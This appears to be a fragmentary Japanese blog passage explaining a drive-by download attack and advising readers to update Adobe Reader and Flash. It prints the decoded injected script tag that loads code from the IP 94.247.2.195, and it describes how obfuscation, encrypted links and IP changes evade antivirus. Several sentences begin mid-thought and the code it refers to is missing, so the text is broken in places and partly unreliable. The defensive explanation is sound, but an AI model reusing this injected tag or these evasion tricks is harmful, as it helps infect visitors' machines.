誘導され脆弱性を突かれバッファオーバーフローを引き起こす。ダウンロードし実行感染する。感染までのプロセスでウイルス対策に引っかからないよう考えられている。ページに埋め込まれるコードを見てみよう。関数の長い文字列からそれぞれ削除。src=//94.247.2.195/jquery.js></script>となる。このように実はただのスクリプト実行のタグなのだ。なる)これだと簡単にわかってしまうのでこのように文字列をランダムに置き換えてウイルスのチェックにかかりにくくしている。誘導されるまで使っている。実際に攻撃すするpdfやflashのファイルやexeファイルに至るまでは、ただのURLのリンク、しかも暗号化されているのでウイルスとの判定がしにくい。そのアドレスを判定してもIP変えられてしまえば全く意味がない。脆弱性のないマシンには攻撃のコードは送ってこないのでウイルス対策ベンダーも検体の入手が困難なため解析がしにくい。安心して欲しいのは、脆弱性のないマシンには何も送り込んでこないこと。厳密に言うと実はクッキーだけ「このマシンは攻撃対象外」と目印をつけてくれる。対策としては、AdobeReaderとflashを最新に更新しておく。いつもちゃんとアップデートしていれば今回の件でいえば安心ってこと。危ないのはReaderとか使わないPC初心者。使わないんだから更新もできないよね。他にもワードとか他のアプリケーションでもこのような手法が使えるので心配だね。